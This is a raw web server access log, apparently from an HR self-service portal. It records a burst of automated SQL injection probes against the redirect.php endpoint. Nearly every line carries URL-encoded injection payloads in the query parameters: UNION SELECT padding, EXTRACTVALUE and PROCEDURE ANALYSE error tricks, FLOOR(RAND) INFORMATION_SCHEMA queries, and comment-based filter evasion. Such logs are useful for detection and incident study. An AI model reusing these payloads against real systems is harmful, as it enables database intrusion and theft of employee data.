Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:22:24 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime%25%21%28EXTRA%2F%2A%2A%2Fstring%3D%2C%2F%2A%2A%2Fstring%3DNULL%2CNULL%2CNULL%2CNULL%2C%28SELECT%2F%2A%2A%2FCONCAT%280x42614534%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x36413278%29%29%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2C%2F%2A%2A%2Fstring%3D%2C%2F%2A%2A%2Fstring%3D%23%2F%2A%2A%2FTwXV%29&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 200 148
100.64.0.1 - - [07/Sep/2025:02:22:24 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913%25%21%28EXTRA%2F%2A%2A%2Fstring%3D%2C%2F%2A%2A%2Fstring%3D%28SELECT%2F%2A%2A%2FCONCAT%280x70577363%2C%28NULL%29%2C0x62587165%29%29%2C%2F%2A%2A%2Fstring%3D%2C%2F%2A%2A%2Fstring%3D--%2F%2A%2A%2Fycxz%29&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 302 - "-" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:22:24 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913%25%21%28EXTRA%2F%2A%2A%2Fstring%3D%2C%2F%2A%2A%2Fstring%3D%28SELECT%2F%2A%2A%2FCONCAT%280x70577363%2C%28NULL%29%2C0x62587165%29%29%2C%2F%2A%2A%2Fstring%3D%2C%2F%2A%2A%2Fstring%3D--%2F%2A%2A%2Fycxz%29&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 302 -
100.64.0.1 - - [07/Sep/2025:02:22:24 +0800] "GET /ehr/ess HTTP/1.1" 301 249 "http://hcp.maglayers.com.cn:8088/ehr/ess/redirect.php?scriptname=page_error&msgtxt=Error%3AWorkflow+Not+Exists%2C+Please+Contact+Your+System+Administrator.&target=iframe" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:22:24 +0800] "GET /ehr/ess HTTP/1.1" 301 249
100.64.0.1 - - [07/Sep/2025:02:22:24 +0800] "GET /ehr/ess HTTP/1.1" 301 249 "http://hcp.maglayers.com.cn:8088/ehr/ess/redirect.php?scriptname=page_error&msgtxt=Error%3AWorkflow+Not+Exists%2C+Please+Contact+Your+System+Administrator.&target=iframe" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:22:24 +0800] "GET /ehr/ess HTTP/1.1" 301 249
100.64.0.1 - - [07/Sep/2025:02:22:24 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart%25%21%28EXTRA%2F%2A%2A%2Fstring%3D%27%2C%2F%2A%2A%2Fstring%3DNULL%2C%28SELECT%2F%2A%2A%2FCONCAT%280x4e654b54%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x35713375%29%29%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2C%2F%2A%2A%2Fstring%3D%2C%2F%2A%2A%2Fstring%3D%23%2F%2A%2A%2FIcc6%29&userseqno=47810 HTTP/1.1" 302 - "-" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:22:24 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart%25%21%28EXTRA%2F%2A%2A%2Fstring%3D%27%2C%2F%2A%2A%2Fstring%3DNULL%2C%28SELECT%2F%2A%2A%2FCONCAT%280x4e654b54%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x35713375%29%29%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2C%2F%2A%2A%2Fstring%3D%2C%2F%2A%2A%2Fstring%3D%23%2F%2A%2A%2FIcc6%29&userseqno=47810 HTTP/1.1" 302 -
100.64.0.1 - - [07/Sep/2025:02:22:24 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart%25%21%28EXTRA%2F%2A%2A%2Fstring%3D%2C%2F%2A%2A%2Fstring%3DNULL%2C%28SELECT%2F%2A%2A%2FCONCAT%280x78613761%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x76734e70%29%29%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2C%2F%2A%2A%2Fstring%3D%2C%2F%2A%2A%2Fstring%3D%23%29&userseqno=47810 HTTP/1.1" 302 - "-" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:22:24 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart%25%21%28EXTRA%2F%2A%2A%2Fstring%3D%2C%2F%2A%2A%2Fstring%3DNULL%2C%28SELECT%2F%2A%2A%2FCONCAT%280x78613761%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x76734e70%29%29%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2C%2F%2A%2A%2Fstring%3D%2C%2F%2A%2A%2Fstring%3D%23%29&userseqno=47810 HTTP/1.1" 302 -
100.64.0.1 - - [07/Sep/2025:02:22:24 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723%25%21%28EXTRA%2F%2A%2A%2Fstring%3D%2C%2F%2A%2A%2Fstring%3DNULL%2CNULL%2CNULL%2C%28SELECT%2F%2A%2A%2FCONCAT%280x574a786f%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x4d643537%29%29%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2C%2F%2A%2A%2Fstring%3D%2C%2F%2A%2A%2Fstring%3D%23%2F%2A%2A%2FeSPq%29&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 200 154 "-" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:22:24 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723%25%21%28EXTRA%2F%2A%2A%2Fstring%3D%2C%2F%2A%2A%2Fstring%3DNULL%2CNULL%2CNULL%2C%28SELECT%2F%2A%2A%2FCONCAT%280x574a786f%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x4d643537%29%29%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2C%2F%2A%2A%2Fstring%3D%2C%2F%2A%2A%2Fstring%3D%23%2F%2A%2A%2FeSPq%29&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 200 154
100.64.0.1 - - [07/Sep/2025:02:22:24 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913%2F%2A%2A%2FANDPROCEDURE%2F%2A%2A%2FANALYSE%28EXTRACTVALUE%288971%2CCONCAT%280x6c593657%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x59304a66%29%29%2C1%29--%2F%2A%2A%2FRtrb&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 302 - "-" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:22:24 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913%2F%2A%2A%2FANDPROCEDURE%2F%2A%2A%2FANALYSE%28EXTRACTVALUE%288971%2CCONCAT%280x6c593657%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x59304a66%29%29%2C1%29--%2F%2A%2A%2FRtrb&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 302 -
100.64.0.1 - - [07/Sep/2025:02:22:24 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913%2F%2A%2A%2F%2F%2A%2A%2FAND%2F%2A%2A%2F%28SELECT%2F%2A%2A%2F5808%2F%2A%2A%2FFROM%28SELECT%2F%2A%2A%2FCOUNT%28%2A%29%2CCONCAT%280x53423042%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x65325965%2CFLOOR%28RAND%280%29%2A2%29%29x%2F%2A%2A%2FFROM%2F%2A%2A%2FINFORMATION_SCHEMA.PLUGINS%2F%2A%2A%2FGROUP%2F%2A%2A%2FBY%2F%2A%2A%2Fx%29a%29--%2F%2A%2A%2F8lRX&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 302 - "-" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:22:24 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913%2F%2A%2A%2F%2F%2A%2A%2FAND%2F%2A%2A%2F%28SELECT%2F%2A%2A%2F5808%2F%2A%2A%2FFROM%28SELECT%2F%2A%2A%2FCOUNT%28%2A%29%2CCONCAT%280x53423042%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x65325965%2CFLOOR%28RAND%280%29%2A2%29%29x%2F%2A%2A%2FFROM%2F%2A%2A%2FINFORMATION_SCHEMA.PLUGINS%2F%2A%2A%2FGROUP%2F%2A%2A%2FBY%2F%2A%2A%2Fx%29a%29--%2F%2A%2A%2F8lRX&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 302 -
100.64.0.1 - - [07/Sep/2025:02:22:24 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913%2F%2A%2A%2F%2F%2A%2A%2FOR%2F%2A%2A%2F%28SELECT%2F%2A%2A%2F5808%2F%2A%2A%2FFROM%28SELECT%2F%2A%2A%2FCOUNT%28%2A%29%2CCONCAT%280x33306b64%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x736d6a31%2CFLOOR%28RAND%280%29%2A2%29%29x%2F%2A%2A%2FFROM%2F%2A%2A%2FINFORMATION_SCHEMA.PLUGINS%2F%2A%2A%2FGROUP%2F%2A%2A%2FBY%2F%2A%2A%2Fx%29a%29--%2F%2A%2A%2FMKub&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 302 - "-" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:22:24 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913%2F%2A%2A%2F%2F%2A%2A%2FOR%2F%2A%2A%2F%28SELECT%2F%2A%2A%2F5808%2F%2A%2A%2FFROM%28SELECT%2F%2A%2A%2FCOUNT%28%2A%29%2CCONCAT%280x33306b64%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x736d6a31%2CFLOOR%28RAND%280%29%2A2%29%29x%2F%2A%2A%2FFROM%2F%2A%2A%2FINFORMATION_SCHEMA.PLUGINS%2F%2A%2A%2FGROUP%2F%2A%2A%2FBY%2F%2A%2A%2Fx%29a%29--%2F%2A%2A%2FMKub&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 302 -
100.64.0.1 - - [07/Sep/2025:02:22:24 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913%2F%2A%2A%2FORPROCEDURE%2F%2A%2A%2FANALYSE%28EXTRACTVALUE%288971%2CCONCAT%280x5964784f%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x7a575653%29%29%2C1%29--%2F%2A%2A%2FaYTC&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 302 - "-" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:22:24 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913%2F%2A%2A%2FORPROCEDURE%2F%2A%2A%2FANALYSE%28EXTRACTVALUE%288971%2CCONCAT%280x5964784f%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x7a575653%29%29%2C1%29--%2F%2A%2A%2FaYTC&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 302 -
100.64.0.1 - - [07/Sep/2025:02:22:24 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810%25%21%28EXTRA%2F%2A%2A%2Fstring%3D%27%2C%2F%2A%2A%2Fstring%3DNULL%2CNULL%2CNULL%2C%28SELECT%2F%2A%2A%2FCONCAT%280x71703067%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x67766246%29%29%2C%2F%2A%2A%2Fstring%3D%2C%2F%2A%2A%2Fstring%3D%23%2F%2A%2A%2FS6lU%29 HTTP/1.1" 200 5915
100.64.0.1 - - [07/Sep/2025:02:22:24 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810%25%21%28EXTRA%2F%2A%2A%2Fstring%3D%27%2C%2F%2A%2A%2Fstring%3DNULL%2CNULL%2CNULL%2C%28SELECT%2F%2A%2A%2FCONCAT%280x71703067%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x67766246%29%29%2C%2F%2A%2A%2Fstring%3D%2C%2F%2A%2A%2Fstring%3D%23%2F%2A%2A%2FS6lU%29 HTTP/1.1" 200 5915 "-" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:22:24 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart%25%21%28EXTRA%2F%2A%2A%2Fstring%3D%2C%2F%2A%2A%2Fstring%3DNULL%2C%28SELECT%2F%2A%2A%2FCONCAT%280x756a5435%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x6b533058%29%29%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2C%2F%2A%2A%2Fstring%3D%2C%2F%2A%2A%2Fstring%3D%23%2F%2A%2A%2Fd7js%29&userseqno=47810 HTTP/1.1" 302 - "-" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:22:24 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart%25%21%28EXTRA%2F%2A%2A%2Fstring%3D%2C%2F%2A%2A%2Fstring%3DNULL%2C%28SELECT%2F%2A%2A%2FCONCAT%280x756a5435%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x6b533058%29%29%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2C%2F%2A%2A%2Fstring%3D%2C%2F%2A%2A%2Fstring%3D%23%2F%2A%2A%2Fd7js%29&userseqno=47810 HTTP/1.1" 302 -
100.64.0.1 - - [07/Sep/2025:02:22:24 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913%2F%2A%2A%2F%2F%2A%2A%2FAND%2F%2A%2A%2FEXP%28~%28SELECT%2F%2A%2A%2F%2A%2F%2A%2A%2FFROM%2F%2A%2A%2F%28SELECT%2F%2A%2A%2FCONCAT%280x516b4357%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x70644354%29%29x%29%29--%2F%2A%2A%2FUcBe&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 302 -
100.64.0.1 - - [07/Sep/2025:02:22:24 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913%2F%2A%2A%2F%2F%2A%2A%2FAND%2F%2A%2A%2FEXP%28~%28SELECT%2F%2A%2A%2F%2A%2F%2A%2A%2FFROM%2F%2A%2A%2F%28SELECT%2F%2A%2A%2FCONCAT%280x516b4357%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x70644354%29%29x%29%29--%2F%2A%2A%2FUcBe&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 302 - "-" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:22:24 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart%25%21%28EXTRA%2F%2A%2A%2Fstring%3D%27%2C%2F%2A%2A%2Fstring%3DNULL%2CNULL%2CNULL%2C%28SELECT%2F%2A%2A%2FCONCAT%280x4f366b47%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x4d774a6a%29%29%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2C%2F%2A%2A%2Fstring%3D%2C%2F%2A%2A%2Fstring%3D%23%2F%2A%2A%2FVVAj%29&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 200 5915 "-" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:22:24 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart%25%21%28EXTRA%2F%2A%2A%2Fstring%3D%27%2C%2F%2A%2A%2Fstring%3DNULL%2CNULL%2CNULL%2C%28SELECT%2F%2A%2A%2FCONCAT%280x4f366b47%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x4d774a6a%29%29%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2C%2F%2A%2A%2Fstring%3D%2C%2F%2A%2A%2Fstring%3D%23%2F%2A%2A%2FVVAj%29&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 200 5915
100.64.0.1 - - [07/Sep/2025:02:22:24 +0800] "GET /ehr/ess HTTP/1.1" 301 249 "http://hcp.maglayers.com.cn:8088/ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart%25%21%28EXTRA%2F%2A%2A%2Fstring%3D%27%2C%2F%2A%2A%2Fstring%3DNULL%2C%28SELECT%2F%2A%2A%2FCONCAT%280x4e654b54%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x35713375%29%29%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2C%2F%2A%2A%2Fstring%3D%2C%2F%2A%2A%2Fstring%3D%23%2F%2A%2A%2FIcc6%29&userseqno=47810" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:22:24 +0800] "GET /ehr/ess HTTP/1.1" 301 249
100.64.0.1 - - [07/Sep/2025:02:22:24 +0800] "GET /ehr/ess HTTP/1.1" 301 249 "http://hcp.maglayers.com.cn:8088/ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart%25%21%28EXTRA%2F%2A%2A%2Fstring%3D%2C%2F%2A%2A%2Fstring%3DNULL%2C%28SELECT%2F%2A%2A%2FCONCAT%280x78613761%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x76734e70%29%29%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2C%2F%2A%2A%2Fstring%3D%2C%2F%2A%2A%2Fstring%3D%23%29&userseqno=47810" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:22:24 +0800] "GET /ehr/ess HTTP/1.1" 301 249
100.64.0.1 - - [07/Sep/2025:02:22:24 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart%25%21%28EXTRA%2F%2A%2A%2Fstring%3D%2C%2F%2A%2A%2Fstring%3DNULL%2CNULL%2CNULL%2CNULL%2C%28SELECT%2F%2A%2A%2FCONCAT%280x71715941%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x73556542%29%29%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2C%2F%2A%2A%2Fstring%3D%2C%2F%2A%2A%2Fstring%3D%23%2F%2A%2A%2FJU8a%29&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 200 5915 "-" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:22:24 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart%25%21%28EXTRA%2F%2A%2A%2Fstring%3D%2C%2F%2A%2A%2Fstring%3DNULL%2CNULL%2CNULL%2CNULL%2C%28SELECT%2F%2A%2A%2FCONCAT%280x71715941%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x73556542%29%29%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2C%2F%2A%2A%2Fstring%3D%2C%2F%2A%2A%2Fstring%3D%23%2F%2A%2A%2FJU8a%29&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 200 5915
100.64.0.1 - - [07/Sep/2025:02:22:24 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723%25%21%28EXTRA%2F%2A%2A%2Fstring%3D%27%2C%2F%2A%2A%2Fstring%3DNULL%2CNULL%2CNULL%2CNULL%2CNULL%2C%28SELECT%2F%2A%2A%2FCONCAT%280x65465265%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x55594176%29%29%2CNULL%2CNULL%2CNULL%2C%2F%2A%2A%2Fstring%3D%2C%2F%2A%2A%2Fstring%3D%23%2F%2A%2A%2FZAyD%29&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 200 154
100.64.0.1 - - [07/Sep/2025:02:22:24 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723%25%21%28EXTRA%2F%2A%2A%2Fstring%3D%27%2C%2F%2A%2A%2Fstring%3DNULL%2CNULL%2CNULL%2CNULL%2CNULL%2C%28SELECT%2F%2A%2A%2FCONCAT%280x65465265%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x55594176%29%29%2CNULL%2CNULL%2CNULL%2C%2F%2A%2A%2Fstring%3D%2C%2F%2A%2A%2Fstring%3D%23%2F%2A%2A%2FZAyD%29&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 200 154 "-" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:22:24 +0800] "GET /ehr/ess HTTP/1.1" 301 249 "http://hcp.maglayers.com.cn:8088/ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart%25%21%28EXTRA%2F%2A%2A%2Fstring%3D%2C%2F%2A%2A%2Fstring%3DNULL%2C%28SELECT%2F%2A%2A%2FCONCAT%280x756a5435%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x6b533058%29%29%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2C%2F%2A%2A%2Fstring%3D%2C%2F%2A%2A%2Fstring%3D%23%2F%2A%2A%2Fd7js%29&userseqno=47810" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:22:24 +0800] "GET /ehr/ess HTTP/1.1" 301 249
100.64.0.1 - - [07/Sep/2025:02:22:24 +0800] "GET /ehr/ess/redirect.php?scriptname=page_error&msgtxt=Error%3AWorkflow+Not+Exists%2C+Please+Contact+Your+System+Administrator.&target=iframe HTTP/1.1" 302 - "http://hcp.maglayers.com.cn:8088/ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913%25%21%28EXTRA%2F%2A%2A%2Fstring%3D%2C%2F%2A%2A%2Fstring%3D%28SELECT%2F%2A%2A%2FCONCAT%280x70577363%2C%28NULL%29%2C0x62587165%29%29%2C%2F%2A%2A%2Fstring%3D%2C%2F%2A%2A%2Fstring%3D--%2F%2A%2A%2Fycxz%29&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:22:24 +0800] "GET /ehr/ess/redirect.php?scriptname=page_error&msgtxt=Error%3AWorkflow+Not+Exists%2C+Please+Contact+Your+System+Administrator.&target=iframe HTTP/1.1" 302 -
